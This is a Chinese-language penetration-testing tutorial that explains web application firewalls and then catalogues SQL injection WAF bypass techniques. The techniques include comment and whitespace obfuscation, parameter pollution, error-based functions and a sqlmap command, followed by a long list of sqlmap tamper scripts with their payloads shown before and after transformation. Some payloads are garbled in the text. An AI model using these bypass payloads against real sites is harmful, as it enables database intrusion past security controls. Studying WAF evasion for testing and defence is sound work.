最新公告
  • 欢迎您光临樱灵极客网,全网最全渗透资源!立即加入我们
  • sql注入WAF绕过

    0x01 什么是waf?

    web应用防火墙也被称为网站应用级入侵防御系统,按照一些常规的定义,WAF是指通过一系列针对HTTP/HTTP5的安全策略专门为web应用提供保护的产品。它主要用于防御针对网络应用层的攻击,像SQL注入,跨站脚本攻击、参数篡改、应用平台漏洞攻击、拒绝服务攻击等。

    同传统的防火墙不同的是,web应用防火墙位于两个或多个网络之间,它们是实施网间访问控制的一组组建的集合,内部和外部网络之间的所有网络数据都必须经过防火墙,只有符合安全策略的数据才能通过防火墙,它工作再开放系统互连参考模型的网络层,通过地址转换、访问控制机器的状态检测等功能,对企业网络层数据进行保护。

    应用防火墙的部署方式主要有透明模式、路由模式、旁路监控模式以及HA双击模式来满足用户的各种不同网络机构的应用需求。

    • 透明部署方式是在web服务器和防火墙之间插入WAF,在透明模式下,web应用防火墙只对流经OSI应用层的数据进行分析,而对其他层的流量不作控制,因此透明模式的最大特点就是快速、方便、简单。
    • 路由部署方式部署网桥透明模式的WAF设备,其透明概念与网桥透明模式相似,可以将其看作一个路由设备,将其作为路由器进行部署,同时确保要检测的HTTP流量经过WAF设备即可。这种部署模式是网络安全防护中保护程度最高的,但是需要对防火墙和web应用服务的路由设置作出一定的调整,对网络管理员的要求较高。
    • 旁路部署模式是将WAF置于局域网交换机下,访问web服务器的所有连接通过安全策略指向WAF。它的优点是对网络的影响较小,但是在该模式下,web服务器无法获取访问者的真实IP地址

    0x02 waf的类型

    1.硬件设备类

    目前安全市场上,大多数的WAF都属于此类。它们以一个独立的硬件设备的形态存在,支持以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为后端的Web应用提供安全防护。相对于软件产品类的WAF,这类产品的优点是性能好、功能全面、支持多种模式部署等,但它的价格通常比较贵。国内的绿盟、安恒、启明星辰等厂商生产的WAF都属于此类。

    2.基于云的WAF

    随着云计算技术的快速发展,使得其于云的WAF实现成为可能。国内创新工场旗下的安全宝、360的网站宝,imperva waf是这类WAF的典型代表。

    3.软件产品类

    这种类型的WAF采用纯软件的方式实现,特点是安装简单,容易使用,成本低。但它的缺点也是显而易见的,因为它必须安装在Web应用服务器上,除了性能受到限制外,还可能会存在兼容性、安全等问题。这类WAF的代表有ModSecurity、Naxsi、网站安全狗等。

    0x03 手工waf 绕过原理

    1,架构层绕过WAF

    寻找源站—>针对云waf
    利用同网段—>绕过waf防护区域
    利用边界漏洞—>绕过waf防护区域

    2,资源限制角度绕过waf

    post传入大的数据包body

    3,协议层面绕过waf检测

    (1)协议为覆盖waf
    请求方式变换:GET->POST
    Content-Type变换:application/x-www-form-urlencoded—>multipart/form-data
    (2)参数污染
    index.php?id=1&id=2
    这里遇到的是waf只是针对第一传参进行检测未对第二个传参进行检测。

    4,规则层面的绕过

    4.1sql注释符绕过

    1union /**/select2union /*aaaaaaa%01bbs*/select3union /*aaaaaaaaaaaaaaaaaaaaa*/select4)内联注释:/*!xxxxxxxx*/
    

    4.2空白符绕过
    (1)mysql空白符

    %09,%0A,%0B,%0C,%0D,%20,%A0,/*xxx*/`
    

    (2)正则匹配的空白符:

    %09,%0A,%0B,%0D,%20
    

    4.3函数分隔符号

    (1)concat%2520(
    (2)concat/**/(
    (3)concat%250c(
    (4)concat%25a0(

    4.4浮点数词解析

    (1)selectfrom users where id=8E0union select 1,2,3,4,5,6,7#
    (2)select
    from users where id=8.0union select 1,2,3,4,5,6,7#
    (3)select*from users where id=\Nunion select 1,2,3,4,5,6,7#

    4.5利用报错进行sql注入error-based sql注入函数非常容易被忽略

    (1)extractvalue(1,concat(0x5c,md5(3)));
    (2)updatexml(1,concat(0x5c,md5(3)));
    (3)GeometryCollection(select *from (select *from (select @@version)x))
    (4)polygon((select *from (select name_const(version(),1))x))
    (5)linestring()
    (6)multipoint()
    (7)multilinestring()
    (8)multipolygon()
    

    4.6mysql特殊语法

    select {x table_name}from{x information_schema.tables};

    5,Fuzz绕过waf

    1,以注释符为例子不断fuzz
    (1)先测试最基本的语句
    union/**/select
    (2)再测试中间引入特殊字符
    union/aaaa%01bbs/select
    (3)最后测试注释长度
    union/aaaaaaaaaaaaaaaaaaaaaa/select
    最基本的模式
    union/anything/select

     

    0x04 sqlmap绕过waf原理

    1,tamper介绍

    使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击

    2,tamper的使用用法

    –tamper=TAMPER 利用给定的脚本进行篡改注入数据。其用法可举例说明:

    python sqlmap.py -u “http://…/?uname=admin&pwd=pass123″ –level=5 –risk=3 -p “uname” –tamper=xxx.py

    表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测

    3,不同的数据库类型适用tamper

    tamper适用的数据库类型&版本

    (*) 可能适用于所有版本

    (-) 不适用

    4,tamper脚本及其利用

    • base64encode
      适用数据库:ALL
      作用:替换为base64编码
      使用脚本前:tamper(“1’ AND SLEEP(5)#”)
      使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
    • multiplespaces
      适用数据库:ALL
      作用:围绕sql关键字添加多个空格
      使用脚本前:tamper(‘1 UNION SELECT admin’)
      使用脚本后:1 UNION SELECT admin
    • space2plus
      适用数据库:ALL
      作用:用加号替换空格
      使用脚本前:tamper(‘SELECT id FROM users’)
      使用脚本后:SELECT+id+FROM+users
    • nonrecursivereplacement
      适用数据库:ALL
      作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将
      select替换为空)
      使用脚本前:tamper(‘1 UNION SELECT 2–+’)
      使用脚本后:1 UNIOUNIONN SELESELECTCT 2–+
    • space2randomblank
      适用数据库:ALL
      作用:将空格替换为其他有效字符(绕过空格)
      使用脚本前:tamper(‘SELECT id FROM users’)
      使用脚本后:SELECT%0Did%0DFROM%0Ausers
    • unionalltounion
      适用数据库:ALL
      作用:将union all select 替换为unionselect
      使用脚本前:tamper(’-1 UNION ALL SELECT’)
      使用脚本后:-1 UNION SELECT
    • securesphere
      适用数据库:ALL
      作用:追加特定的字符串
      使用脚本前:tamper(‘1 AND 1=1’)
      使用脚本后:1 AND 1=1 and ‘having’=‘having’
    • space2dash
      适用数据库:ALL
      作用:将空格替换为–,并添加一个随机字符串和换行符
      使用脚本前:tamper(‘1 AND 9227=9227’)
      使用脚本后:1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227
    • space2mssqlblank
      适用数据库:Microsoft SQL Server
      测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
      作用:将空格随机替换为其他空格符号(’%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’,
      ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
      使用脚本前:tamper(‘SELECT id FROM users’)
      使用脚本后:SELECT%0Eid%0DFROM%07users
    • percentage
      适用数据库:ASP
      测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL
      9.0
      作用:在每个字符前添加一个%
      使用脚本前:tamper(‘SELECT FIELD FROM TABLE’)
      使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
    • sp_password
      适用数据库:MSSQL
      作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
      使用脚本前:tamper(‘1 AND 9227=9227– ‘)
      使用脚本后:1 AND 9227=9227– sp_password
    • charencode
      测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、
      PostgreSQL 8.3, 8.4, 9.0
      作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
      使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
      使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
    • randomcase
      测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、
      PostgreSQL 8.3, 8.4, 9.0
      作用:随机大小写
      使用脚本前:tamper(‘INSERT’)
      使用脚本后:INseRt
    • charunicodeencode
      适用数据库:ASP、ASP.NET
      测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
      作用:适用字符串的unicode编码
      使用脚本前:tamper(‘SELECT FIELD%20FROM TABLE’)
      使用脚本后:
      %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u
      0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
    • space2comment
      测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
      作用:将空格替换为 /* / 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT//id //FROM/*/users
    • equaltolike
      测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
      作用:将=替换为LIKE
      使用脚本前:tamper(‘SELECT * FROM users WHERE id=1’)
      使用脚本后:SELECT * FROM users WHERE id LIKE 1
    • equaltolike
      测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
      作用:将>替换为GREATEST,绕过对>的过滤
      使用脚本前:tamper(‘1 AND A > B’)
      使用脚本后:1 AND GREATEST(A,B+1)=A
    • ifnull2ifisnull
      适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
      测试通过数据库:MySQL 5.0 and 5.5
      作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
      使用脚本前:tamper(‘IFNULL(1, 2)’)
      使用脚本后:IF(ISNULL(1),2,1)
    • modsecurityversioned
      适用数据库:MySQL
      测试通过数据库:MySQL 5.0
      作用:过滤空格,使用mysql内联注释的方式进行注入
      使用脚本前:tamper(‘1 AND 2>1–’)
      使用脚本后:1 /!30874AND 2>1/–
    • space2mysqlblank
      适用数据库:MySQL
      测试通过数据库:MySQL 5.1
      作用:将空格替换为其他空格符号(’%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
      使用脚本前:tamper(‘SELECT id FROM users’)
      使用脚本后:SELECT%0Bid%0DFROM%0Cusers
    • modsecurityzeroversioned
      适用数据库:MySQL
      测试通过数据库:MySQL 5.0
      作用:使用内联注释方式(/!00000/)进行注入
      使用脚本前:tamper(‘1 AND 2>1–’)
      使用脚本后:1 /!00000AND 2>1/–
    • space2mysqldash
      适用数据库:MySQL、MSSQL
      作用:将空格替换为 – ,并追随一个换行符
      使用脚本前:tamper(‘1 AND 9227=9227’)
      使用脚本后:1–%0AAND–%0A9227=9227
    • bluecoat
      适用数据库:Blue Coat SGOS
      测试通过数据库:MySQL 5.1,、SGOS
      作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
      使用脚本前:tamper(‘SELECT id FROM users where id = 1’)
      使用脚本后:SELECT%09id FROM users where id LIKE 1
    • versionedkeywords
      适用数据库:MySQL
      测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
      作用:注释绕过
      使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL,
      CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS
      CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
      使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,
      CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(
      32)),CHAR(58,100,114,117,58))#
    • halfversionedmorekeywords
      适用数据库:MySQL < 5.1
      测试通过数据库:MySQL 4.0.18/5.0.22
      作用:在每个关键字前添加mysql版本注释
      使用脚本前:tamper(“value’ UNION ALL SELECT
      CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS
      CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)
      使用脚本后:
      value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNUL
      L(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58
      )),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa
    • space2morehash
      适用数据库:MySQL >= 5.1.13
      测试通过数据库:MySQL 5.1.41
      作用:将空格替换为#,并添加一个随机字符串和换行符
      使用脚本前:tamper(‘1 AND 9227=9227’)
      使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
    • apostrophenullencode
      适用数据库:ALL
      作用:用非法双字节Unicode字符替换单引号
      使用脚本前:tamper(“1 AND ‘1’=’1”)
      使用脚本后:1 AND %00%271%00%27=%00%271
    • appendnullbyte
      适用数据库:ALL
      作用:在有效载荷的结束位置加载null字节字符编码
      使用脚本前:tamper(‘1 AND 1=1’)
      使用脚本后:1 AND 1=1%00
    • chardoubleencode
      适用数据库:ALL
      作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
      使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
      使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F
      %254D%2520%2554%2541%2542%254C%2545
    • unmagicquotes
      适用数据库:ALL
      作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
      使用脚本前:tamper(“1’ AND 1=1”)
      使用脚本后:1%bf%27 AND 1=1–
    • randomcomments
      适用数据库:ALL
      作用:用注释符分割sql关键字
      使用脚本前:tamper(‘INSERT’)
      使用脚本后:I/*/N/ */SERT

    另外说的是,除此之外,还可以自己编写脚本,通过tamper=“”进行调用执行脚本。

    欢迎您光临樱灵极客网,全网最全渗透资源!
    樱灵极客 » sql注入WAF绕过

    常见问题FAQ

    本站的资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。
    我可以随意使用学习的技术么?
    技术是把双刃剑,我们学习是为了普及网络知识,滥用造成的后果本站概不负责。
    为什么有些资源打不开?
    本站资源均由用户分享,如有个别打不开的文件,请及时联系管理员处理。

    1 评论

    1. 学到了学到了 👍

    发表评论

    • 466会员总数(位)
    • 172资源总数(个)
    • 0本周发布(个)
    • 0 今日发布(个)
    • 206稳定运行(天)

    全网最全渗透资源学习网!

    我要投稿 成为会员